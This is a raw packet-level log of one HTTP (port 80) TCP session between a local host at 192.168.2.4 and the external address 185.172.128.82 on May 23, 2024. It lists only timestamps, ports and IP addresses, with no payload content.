May 23, 2024 23:33:08.418610096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418613911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418642998 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418677092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418690920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418711901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418728113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418745995 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418761969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418780088 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418802023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418828011 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.418899059 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.418982983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419002056 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419017076 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419032097 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419051886 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419064999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419085026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419097900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419120073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419131041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419153929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419173002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419187069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419198036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419220924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419235945 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419277906 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419287920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419322014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419342041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419375896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419429064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419461966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419481993 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419495106 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419507027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419528008 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419539928 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419562101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419574976 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419595957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419612885 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419636965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419837952 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419869900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419898033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419909954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419909954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419930935 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.419943094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419977903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.419981956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420021057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420032978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420054913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420062065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420089006 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420120955 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420137882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420152903 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420169115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420193911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420203924 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420237064 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420259953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420269966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420284033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420304060 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420320988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420353889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420356989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420383930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420416117 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420416117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420439005 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420449018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420480013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420497894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420497894 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420531034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420562983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420574903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420574903 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420598030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420630932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420656919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420664072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420677900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420696020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420715094 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420770884 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420789957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420823097 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420854092 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420855999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420878887 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420903921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420905113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.420938015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.420970917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.421000004 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.421004057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.421020031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.421036959 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.421057940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.421071053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.421080112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.421116114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.422739029 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.422797918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498523951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498600960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498639107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498671055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498708963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498743057 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498797894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498821974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498821974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498821974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498831034 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498821974 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498866081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498904943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498904943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498904943 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498918056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498951912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498970032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.498985052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.498990059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.499021053 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.499030113 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.499069929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.505512953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.506539106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.513200045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.513233900 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.513303995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514455080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514516115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514549017 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514600039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514600039 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514606953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514658928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514691114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514724970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514756918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514756918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514756918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514794111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514794111 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514806986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514841080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514848948 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514873981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514882088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514906883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514914989 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514940023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514945984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.514972925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.514990091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515007019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515016079 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515039921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515053988 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515077114 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515081882 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515110016 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515127897 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515141010 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515149117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515173912 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515192986 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515214920 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515234947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515245914 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515278101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515285969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515286922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515311003 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515342951 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515358925 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515376091 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515388012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515408993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515428066 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515440941 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515449047 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515474081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515486002 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515506983 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515516996 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515538931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515558958 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515572071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515582085 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515604973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515619040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515640020 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515647888 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515671968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515685081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515706062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515716076 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515738964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515753984 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515773058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515789986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515813112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515821934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515831947 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515853882 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515873909 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515894890 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515903950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515937090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515949965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.515969992 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.515979052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516001940 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516012907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516035080 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516048908 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516067982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516077995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516100883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516113043 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516132116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516141891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516166925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516180038 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516199112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516211033 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516232014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516242027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516262054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516278028 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516294956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516302109 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516328096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516343117 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516360044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516372919 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516391993 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516406059 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516424894 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516433954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516459942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516493082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516511917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516511917 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516525030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516557932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516568899 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516591072 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516592026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516613960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516625881 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516634941 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516659975 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516674995 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516693115 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516711950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516729116 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516735077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516762018 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516777992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516796112 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516808987 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516829967 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516846895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516864061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516876936 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516897917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516918898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.516983032 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.516997099 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517015934 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517033100 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517050982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517061949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517082930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517097950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517118931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517127991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517152071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517169952 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517184973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517201900 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517219067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517231941 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517251968 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517266035 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517286062 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517302990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517319918 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517333031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517354012 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517370939 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517386913 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517400980 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517421007 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517440081 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517456055 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517462969 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517488956 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517503977 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517524004 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517539024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517558098 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517569065 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517591953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517602921 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517628908 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517638922 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517664909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.517679930 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.517713070 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592659950 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592715979 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592751026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592773914 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592775106 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592786074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592822075 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592833042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592833042 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592856884 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592873096 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592891932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592916012 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592927933 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592941046 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592962980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.592987061 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.592997074 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.593009949 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.593031883 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.593065023 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:08.593077898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.593077898 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:08.593101025 CEST	80	49733	185.172.128.82	192.168.2.4
